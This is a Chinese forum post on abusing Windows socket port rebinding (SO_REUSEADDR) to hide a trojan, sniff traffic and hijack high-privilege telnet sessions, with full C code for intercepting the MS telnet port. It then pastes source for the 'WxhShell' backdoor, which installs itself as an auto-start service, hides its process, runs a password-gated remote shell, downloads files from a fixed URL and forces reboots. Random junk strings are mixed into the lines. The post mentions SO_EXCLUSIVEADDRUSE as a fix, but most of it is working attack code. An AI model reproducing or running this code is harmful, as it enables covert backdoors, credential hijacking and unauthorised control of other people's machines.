社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14904阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }wSy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l9/:FiJ_  
# 4|9Fj??  
  saddr.sin_family = AF_INET; L|^o7 1t|  
;t]|15]u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (tl}q3U  
_a+ICqR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >Jm"2U}lZW  
hN(L@0)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u{bL-a8}  
"]t>ZT:OJ  
  这意味着什么?意味着可以进行如下的攻击: }.:d#]g8  
sIm#_+Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w}M3x^9@  
9b6!CNe!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2W3W/> 2 h  
P 4;{jG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =J@`0H"  
C>*n9l[M~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H/+{e,SW"  
]@SU4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7nz!0I^   
kb|eQtH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F@hYA  
<{019Oa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2q %K)h  
,deUsc  
  #include ';/84j-3F  
  #include 7<yp"5><)  
  #include (G8  
  #include    6.Bh3p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <pOl[5v]  
  int main() +p?hGoF=  
  { m1e b8yX  
  WORD wVersionRequested; ~tNY"{OV#  
  DWORD ret; j, t~  
  WSADATA wsaData; ek[kq[U9  
  BOOL val; oP]L5S&A  
  SOCKADDR_IN saddr; 8D2yR#3  
  SOCKADDR_IN scaddr; 6wpU6NU  
  int err; e}Q>\t45  
  SOCKET s; +a]j[#  
  SOCKET sc; u)7 ]1e{  
  int caddsize; {NeWdC  
  HANDLE mt; Wy(pLBmb  
  DWORD tid;   gPUo25@pn*  
  wVersionRequested = MAKEWORD( 2, 2 ); ih!~G5Xi9i  
  err = WSAStartup( wVersionRequested, &wsaData ); gUGOHd(A  
  if ( err != 0 ) { qG^_c;l6a  
  printf("error!WSAStartup failed!\n"); Xb+3Xn0}&8  
  return -1; jvO3_Zt9  
  } ?48AY6  
  saddr.sin_family = AF_INET; ! o^Ic`FhS  
   \ 522,n`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 va>"#;37  
<~O}6HQ#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )]A9~H  
  saddr.sin_port = htons(23); *')Q {8`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !u%9;>T7  
  { k<,u0  
  printf("error!socket failed!\n"); 1C'P)f28  
  return -1; *]'qLL7d  
  } gr\@sx?b  
  val = TRUE; bpnv&EG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NGj"ByVjx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *pK lA&_  
  { I <xy?{s  
  printf("error!setsockopt failed!\n"); =Pj@g/25u  
  return -1; wlL8X7+:  
  } Nor`c+,4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N GSS:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Dh?vU~v(6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u6p5:oJj,  
W'V@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [NZ-WU&&LP  
  { 0IpST  
  ret=GetLastError(); T aEt  
  printf("error!bind failed!\n"); }z?xGW/k  
  return -1; PC[cHgSYU  
  } HrDTn&/  
  listen(s,2); [='p!7 z  
  while(1) M`bL5J;  
  { y3IA '  
  caddsize = sizeof(scaddr); '}T;b}&s  
  //接受连接请求 }R`Irxv4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2 mSD"[%  
  if(sc!=INVALID_SOCKET) ^A- sS~w  
  { u2\+?`Ox  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  *[VEF  
  if(mt==NULL) @Mzz2&(d U  
  { ;C+cE#   
  printf("Thread Creat Failed!\n"); 4uX,uEa  
  break; rv`2*B  
  } 8i[".9}G\  
  } %8a=mQl1^  
  CloseHandle(mt); =zz+<!!  
  } @uoT{E[  
  closesocket(s); _IC,9bbg  
  WSACleanup(); ;v%Q8  
  return 0; .|U4N/XN%q  
  }   0Y[*lM-  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Z"28?  
  { I Jqv w  
  SOCKET ss = (SOCKET)lpParam; nZ&T8@m  
  SOCKET sc; |OOXh[y  
  unsigned char buf[4096]; mMV2h|W   
  SOCKADDR_IN saddr; l_bL,-|E8  
  long num; Y+!Ouc!$  
  DWORD val; lt{lHat1  
  DWORD ret; E!dz/.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mVa?aWpez  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Y$F7&  
  saddr.sin_family = AF_INET; Xg,0/P~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); | A3U@>6  
  saddr.sin_port = htons(23); Fq vQk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x(rd$oZO  
  { o`b$^hv{A  
  printf("error!socket failed!\n"); ;R/k2^uF  
  return -1; dVPq%[J2  
  } N$C{f;xV  
  val = 100; c!tvG*{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UCe,2v%  
  { LKIW*M  
  ret = GetLastError(); &7$,<9.  
  return -1; +8Of-ZUx  
  } #.<*; rB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "|(rVj=  
  { \_lG#p|  
  ret = GetLastError(); I/^q+l.=`{  
  return -1; dNOX&$/=  
  } <P|`7wfxE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 's$A+8;L  
  { fndK/~?]H  
  printf("error!socket connect failed!\n"); nu#aa#ex>  
  closesocket(sc); n^* >a  
  closesocket(ss); 2=igS#h  
  return -1; m Y$nI -P  
  } z0T`5N G@  
  while(1) &?KPu?9  
  { cYZwWMzp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T [i7C3QS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x?%rx}h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )9; (>cdl  
  num = recv(ss,buf,4096,0); B.]qrS|  
  if(num>0) Xy[4f=X}z  
  send(sc,buf,num,0); C_;HaQiu  
  else if(num==0) RY\{=f  
  break; e*Uz# w:  
  num = recv(sc,buf,4096,0); P]!LN\[  
  if(num>0) GCcwEl!K^  
  send(ss,buf,num,0); S 23S.]r  
  else if(num==0) Z_iAn TT  
  break; kV*y_5g  
  } N,WI{*  
  closesocket(ss); 2"pE&QNd  
  closesocket(sc); GOv9 2$e  
  return 0 ; 1Pud,!\%q  
  } 2x)0?N[$O  
hKk\Y{wv'  
91-P)%?  
========================================================== iYO wB'z  
uB5h9&57  
下边附上一个代码,,WXhSHELL =$"zqa.B6  
8CHb~m@^$  
========================================================== #JJp:S~`   
u~/M  
#include "stdafx.h" * kX3sG$8  
naec"Kut  
#include <stdio.h> OYqYI!N/  
#include <string.h>  At`1)  
#include <windows.h> ]C}u- B746  
#include <winsock2.h> q|47;bK'  
#include <winsvc.h> ~pd1 )  
#include <urlmon.h> 2a._?(k_y  
XE f&Yd  
#pragma comment (lib, "Ws2_32.lib") }@ O|RkY  
#pragma comment (lib, "urlmon.lib") <|KKv5[  
; McIxvj  
#define MAX_USER   100 // 最大客户端连接数 >gX0Ij#G  
#define BUF_SOCK   200 // sock buffer [a>JG8[ ,t  
#define KEY_BUFF   255 // 输入 buffer j61BP8E  
cXLV"d  
#define REBOOT     0   // 重启 PBxK>a  
#define SHUTDOWN   1   // 关机 ? z)y%`}  
w-0O j  
#define DEF_PORT   5000 // 监听端口 _SBp66 r  
?l\gh1{C  
#define REG_LEN     16   // 注册表键长度 rj2r#{[  
#define SVC_LEN     80   // NT服务名长度 g:.,}L  
e6{[o@aM{  
// 从dll定义API Wvut)T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zJG x5JC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z!]U&Ax`Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q !RVD*(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  \pewbu5^  
u/!mN2{Rd  
// wxhshell配置信息 ;G%wc!  
struct WSCFG { 7U{b+=,wK  
  int ws_port;         // 监听端口 hVT=j ?~  
  char ws_passstr[REG_LEN]; // 口令 N1s $3Ul  
  int ws_autoins;       // 安装标记, 1=yes 0=no &m%Pr  
  char ws_regname[REG_LEN]; // 注册表键名 T}w*K[z $  
  char ws_svcname[REG_LEN]; // 服务名 +c]N]?k&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kbz7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y6;0khp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9h3~;Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5|6z1{g8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p E(<XD3Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NDIc?kj~  
282+1X  
}; `jUS{ 3^  
HjUw[Yz+6  
// default Wxhshell configuration H%01&u  
struct WSCFG wscfg={DEF_PORT, k@t,[  
    "xuhuanlingzhe", l|ZzG4]+l  
    1, Y&05 *b"  
    "Wxhshell", #)PGQ)(  
    "Wxhshell", M|Dwk3#  
            "WxhShell Service", 3Q*RR"3  
    "Wrsky Windows CmdShell Service", ?) ,xZ1"  
    "Please Input Your Password: ", {o5K?Pb  
  1, $Va]vC8?  
  "http://www.wrsky.com/wxhshell.exe", t7!>5e)C}  
  "Wxhshell.exe"  ,3@15j  
    }; %8} ksl07  
?CUp&L0-"  
// 消息定义模块 u6qi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /_k hFw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B 1d%#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >uPde5"ZF-  
char *msg_ws_ext="\n\rExit."; e\ l,gQP  
char *msg_ws_end="\n\rQuit."; }%>$}4 ,  
char *msg_ws_boot="\n\rReboot..."; TJw.e/  
char *msg_ws_poff="\n\rShutdown..."; H8t{ >C)]  
char *msg_ws_down="\n\rSave to "; @Pb 1QLiz  
S^Wqa:;  
char *msg_ws_err="\n\rErr!"; !iitx U  
char *msg_ws_ok="\n\rOK!"; li_pM!dWU_  
H`6Jq?\  
char ExeFile[MAX_PATH]; $jeDVH  
int nUser = 0; 3Ibt'$dK  
HANDLE handles[MAX_USER]; =iK6/ y`  
int OsIsNt; Znh uIA AG  
rd 35)  
SERVICE_STATUS       serviceStatus; :AE;x&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )V$!  
|v %RjN  
// 函数声明 g*AD$":  
int Install(void); iJaNP%N  
int Uninstall(void); ;AL@<,8  
int DownloadFile(char *sURL, SOCKET wsh); U9p.Dh~)vG  
int Boot(int flag); hq8/`u YF  
void HideProc(void); K<7T}XzU$  
int GetOsVer(void); .McoW7|Y  
int Wxhshell(SOCKET wsl); O->(9k<  
void TalkWithClient(void *cs); *6x^w%=A  
int CmdShell(SOCKET sock); sv{0XVn+^  
int StartFromService(void); komxot[[  
int StartWxhshell(LPSTR lpCmdLine); X @jYQ.  
l[\,*C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y %D*O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); % K7EF_%  
_:=OHURc  
// 数据结构和表定义 ;!Z7-OZX  
SERVICE_TABLE_ENTRY DispatchTable[] = e}O-I  
{ BM$tywC  
{wscfg.ws_svcname, NTServiceMain}, 89- 8v^ Pq  
{NULL, NULL} JX@6Sg<  
}; ^xNe Eb  
J'^$|/Q  
// 自我安装 =jv$ 1  
int Install(void) f!8m  
{ t?H;iBrpxd  
  char svExeFile[MAX_PATH]; 79B`w #  
  HKEY key; ,bwopRcA  
  strcpy(svExeFile,ExeFile); ;s B:s9M  
$No>-^ )  
// 如果是win9x系统,修改注册表设为自启动 (kNTXhAr4  
if(!OsIsNt) { % m5^p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yl~?MOk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @P5@ &G  
  RegCloseKey(key); {*Wwu f.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O+Lb***b"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DoB3_=yJ+  
  RegCloseKey(key); 83,1d*`  
  return 0; (5DGs_>  
    } nMdN$E  
  } !#gE'(J;c  
} `iayh  
else { +X(^Q@  
QOy&!6  
// 如果是NT以上系统,安装为系统服务 z,x"vK(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QT l._j@  
if (schSCManager!=0) ${6'  
{ )MW}!U9G  
  SC_HANDLE schService = CreateService R$&&kmJ  
  ( A*U'SCg(G  
  schSCManager, $AhX@|?z  
  wscfg.ws_svcname, : It W|  
  wscfg.ws_svcdisp, R*{?4NKG  
  SERVICE_ALL_ACCESS, ?BvI/H5d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~dr1Qi#j?  
  SERVICE_AUTO_START, E0A|+P '?  
  SERVICE_ERROR_NORMAL, s /q5o@b{  
  svExeFile, +9F#~{v`4a  
  NULL, LU7)F,ok  
  NULL, f\r4[gU@  
  NULL, >^GCSPe  
  NULL, 207oE O]  
  NULL iT9Ex9RL  
  ); "?&bh@P&  
  if (schService!=0) n}'.6  
  { \.|A,G=  
  CloseServiceHandle(schService); CuO*>g^K[  
  CloseServiceHandle(schSCManager); |(v=1#i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pyJOEL]1F  
  strcat(svExeFile,wscfg.ws_svcname); "{"2h>o#D}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @M?EgVmW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QLU; .&  
  RegCloseKey(key); >d V@9  
  return 0; E!l1a5qB  
    } v+bjC  
  } at]Q4  
  CloseServiceHandle(schSCManager); fQ4$@  
} <@!kR$Rd  
} wO)KQ~yX  
lj*913aFh  
return 1; Xb]?/7 X  
} P]{.e UB@c  
w=o m7%J@l  
// 自我卸载 |L{dQ)-'l  
int Uninstall(void) Cfb-:e$0  
{ pAmI ](  
  HKEY key; qk1D#1vl  
Qug'B  
if(!OsIsNt) { Ayt!a+J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {   NX_S  
  RegDeleteValue(key,wscfg.ws_regname); tSa%ZkS  
  RegCloseKey(key); ,#OG/r-H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y!$ z7K  
  RegDeleteValue(key,wscfg.ws_regname); 7Q}@L1A9F,  
  RegCloseKey(key); !$# 4D&T  
  return 0; i>zyn-CuW  
  } ZM`_P!G  
} c &(,  
} *3($s_r>  
else { *3Z#r  
u Aa>6R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); --)[>6)I  
if (schSCManager!=0) @sO.g_yM  
{ lf# six  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E |3aiC,5  
  if (schService!=0) L$Z_j()2  
  { H/{3 i  
  if(DeleteService(schService)!=0) { wuQkeWxJ  
  CloseServiceHandle(schService); @$G K<jl  
  CloseServiceHandle(schSCManager); h(sKGCG  
  return 0; z# B) b5  
  } Ooy96M~_G  
  CloseServiceHandle(schService); LnX^*;P5t  
  } 7B`0mK3  
  CloseServiceHandle(schSCManager); %*=FLtBjo  
} r:-WfDz.  
} 8;3FTF  
pl&GFf o  
return 1; D40VJ3TUc  
} 9z}kkYk  
s:P-F0q!&  
// 从指定url下载文件 oGJI3Oh  
int DownloadFile(char *sURL, SOCKET wsh) *A`^ C  
{ *CSFkWVa  
  HRESULT hr; ljmHX2p  
char seps[]= "/"; + P.Ir  
char *token; 4+:u2&I  
char *file; i.&16AY  
char myURL[MAX_PATH]; N@S;{uK  
char myFILE[MAX_PATH]; 7lu;lAAP  
\g/E4U .+  
strcpy(myURL,sURL); 0nAS4Az  
  token=strtok(myURL,seps); u5[Wr:  
  while(token!=NULL) p*A//^wQ  
  { lom4z\6  
    file=token; b-XBs7OAx  
  token=strtok(NULL,seps); s!Vtw p9  
  } $MHc4FE[  
&bb*~W-  
GetCurrentDirectory(MAX_PATH,myFILE); $[e*0!e  
strcat(myFILE, "\\"); ^m\n[<x^  
strcat(myFILE, file); ZN^Q!v  
  send(wsh,myFILE,strlen(myFILE),0); gV0ZZ"M  
send(wsh,"...",3,0); N]~q@x;<)3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;Lx5r=<Hx  
  if(hr==S_OK) #'T@mA  
return 0; qSR %#  
else 3.Qwn.   
return 1; _G42|lA$/  
qabM@+m[  
} k<y$[xV  
.u)YZN0\  
// 系统电源模块 1'=brc YR  
int Boot(int flag) ZtiOf}@i\  
{ 99x]DY  
  HANDLE hToken; WA+v&* ]  
  TOKEN_PRIVILEGES tkp; LQ._?35r  
e_e|t>nQ  
  if(OsIsNt) { KMv|;yXYj4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ) Ez=#dIq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J_tJj8  
    tkp.PrivilegeCount = 1; ]yyfE7{q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }x+{=%~N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); na~ r}7 7o  
if(flag==REBOOT) { a)xN(xp##  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [}Nfs3IlBw  
  return 0; vwg\qKqSM  
} 7dLPy[8";t  
else { b`IC)xN$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eL],\\q  
  return 0; +I U]=qS  
} dW91nTQ:  
  } 6SpkeXL  
  else { }b44^iL$9y  
if(flag==REBOOT) { @0aUWG!k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z)HQlm  
  return 0; C>LkU|[  
} j1g^Q$B>m  
else { :f `1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p B )nQ5l'  
  return 0; (2S,0MHk  
} K[sfsWQ.  
} V&gUxS]*  
he/FtkU  
return 1; +* &!u=%G  
}   ]3%Z  
Hkpn/,D5  
// win9x进程隐藏模块 Ek84yme#  
void HideProc(void) =oSv=xY  
{ . a~J.0co  
H4)){\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (fq>P1-  
  if ( hKernel != NULL ) .@R{T3 =Q  
  { !Y5O3^I=u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &a O3N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gXG1w>  
    FreeLibrary(hKernel); 2mI=V.X[&  
  } Mk7#qiPo  
5pz%DhjLo  
return; ^oj)#(3C  
} %3Y&D]  
`_<K#AGAi  
// 获取操作系统版本 m39 `f,M  
int GetOsVer(void) U$qSMkj6RK  
{ 3:!+B=woR  
  OSVERSIONINFO winfo; qbmy~\ZY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w$pBACX  
  GetVersionEx(&winfo); J-hP4t&x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jg#%h`  
  return 1; S's\M5  
  else (`xhh  
  return 0; 10{ZW@!7  
} nxCwg>  
nRJcYl~ Y  
// 客户端句柄模块 crUt8L-B4  
int Wxhshell(SOCKET wsl) AW1691Q  
{ //Ck1cI#h  
  SOCKET wsh; Ar N*9  
  struct sockaddr_in client; NFv9%$l-  
  DWORD myID; {!@Pho)Q  
hC=9%u{r?  
  while(nUser<MAX_USER) >#<o7]  
{ `A])4q$  
  int nSize=sizeof(client); +-1t]`9k4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yu`b[]W  
  if(wsh==INVALID_SOCKET) return 1; \|RP-8  
Q3*@m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tt<Ry'Z$3  
if(handles[nUser]==0) ]G#og)z4  
  closesocket(wsh); .|;`qU o  
else 9;NR   
  nUser++; g`k_o<'JC  
  } VD#`1g<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MPhO#;v  
iZ yhj%#  
  return 0; Tj$D:xKf)  
} Ni7~ Mjjt  
POdk0CuX  
// 关闭 socket t ]7>' U  
void CloseIt(SOCKET wsh) [/.o>R#J(  
{ !c(B c^  
closesocket(wsh); >LRt,.hy6  
nUser--; p(fYpD  
ExitThread(0); CXwDG_e  
} ;9MsV.n  
3iMh)YH5b  
// 客户端请求句柄 ' !>t( Sa  
void TalkWithClient(void *cs) x'tYf^Va28  
{ icLf; @  
why;1z>V  
  SOCKET wsh=(SOCKET)cs; apPn>\O  
  char pwd[SVC_LEN]; I'%vN^e^  
  char cmd[KEY_BUFF]; `VM@-;@w  
char chr[1]; ,{!~rSq-l  
int i,j; _1S^A0ft  
Z6#}6Y{  
  while (nUser < MAX_USER) { gh>'O/9  
H48`z'o  
if(wscfg.ws_passstr) { ~OO&%\$k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h)2W}p{a4=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xcz[w}{eEq  
  //ZeroMemory(pwd,KEY_BUFF); bq{":[a  
      i=0; Rl@k~;VV  
  while(i<SVC_LEN) { ('BFy>@  
d#6'dKV$  
  // 设置超时 r*CI6yP  
  fd_set FdRead; c~bi ~ f  
  struct timeval TimeOut; 7)aitDD  
  FD_ZERO(&FdRead); QhUv(]0   
  FD_SET(wsh,&FdRead); '_!j9A]g  
  TimeOut.tv_sec=8; No#1Ikw  
  TimeOut.tv_usec=0; "5Orj*{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (:v|(Gn/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HF>Gf2- C  
z=C'qF`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *;b.x"  
  pwd=chr[0]; [ aC7  
  if(chr[0]==0xd || chr[0]==0xa) { F/GfEMSE  
  pwd=0; C":i56  
  break; A<-Prvryt  
  } Uv|z c  
  i++; M| r6"~i  
    } baJ(Iy$XT  
T*YbmI]4  
  // 如果是非法用户,关闭 socket 4pNIsjl}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =xz Dpn>f  
} wc@X:${  
=[{YI2S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v[4A_WjT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .u[hK  
6;"^Id  
while(1) { rz/^_dV  
1HOYp*{#wP  
  ZeroMemory(cmd,KEY_BUFF); 1NJ,If]  
'wh2787  
      // 自动支持客户端 telnet标准   Y JzKE7%CO  
  j=0; {c5%.<O  
  while(j<KEY_BUFF) { s%Ez/or(T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P%HvL4R  
  cmd[j]=chr[0]; %tx~CD  
  if(chr[0]==0xa || chr[0]==0xd) { $x_6 .AOZ,  
  cmd[j]=0; =R+z\`2  
  break; 8$Igo$U-  
  } S<), ,(  
  j++; cspO5S>#  
    } Hj&mwn]  
1O" Mo  
  // 下载文件 b'i-/l$  
  if(strstr(cmd,"http://")) { 8Q $fXB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \;w$"@9  
  if(DownloadFile(cmd,wsh)) q:Lw!'Z h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %4X#|22n  
  else L0ZgxG3:g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)I,WWj  
  } w.s-T.5.j  
  else { ~`J/618  
fAx7_}k/ m  
    switch(cmd[0]) { t{)Z$ )'  
  B^4D`0G[4  
  // 帮助 P}=u8(u  
  case '?': { {P'TtlEp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <PBrW#:'  
    break; z\iz6-\&y  
  } \;"$Z 9W  
  // 安装 :4o08M%  
  case 'i': { 2^-Z17Z}  
    if(Install()) DK2m(9/`3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5_4Y/2_|  
    else \5g7_3,3W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K@Z K@++  
    break; AiUICf?{  
    } B o@B9/ABv  
  // 卸载 gQ]WNJ~>  
  case 'r': { hg8gB8Xq  
    if(Uninstall()) dV{N,;z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R-xWZRl>  
    else }%j@%Ep[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j\V9o9D  
    break; Fi8'3/q-^  
    } ts2;?`~  
  // 显示 wxhshell 所在路径 F"7dN*7  
  case 'p': { Ift @/A  
    char svExeFile[MAX_PATH]; l=jfgsjc  
    strcpy(svExeFile,"\n\r"); h/9{E:ML  
      strcat(svExeFile,ExeFile); GyE-fB4C  
        send(wsh,svExeFile,strlen(svExeFile),0); {? -@`FR-  
    break; D@[Mk"f  
    } C^uH]WO  
  // 重启 7C7eX J9q  
  case 'b': { zbL!q_wO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z"`q-R }m  
    if(Boot(REBOOT)) c*+yJNm3>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FB<#N+L\  
    else { 5w:   
    closesocket(wsh); Z<@Kkbj  
    ExitThread(0); ;F)g r  
    } 5<-_"/_  
    break; qMD!No  
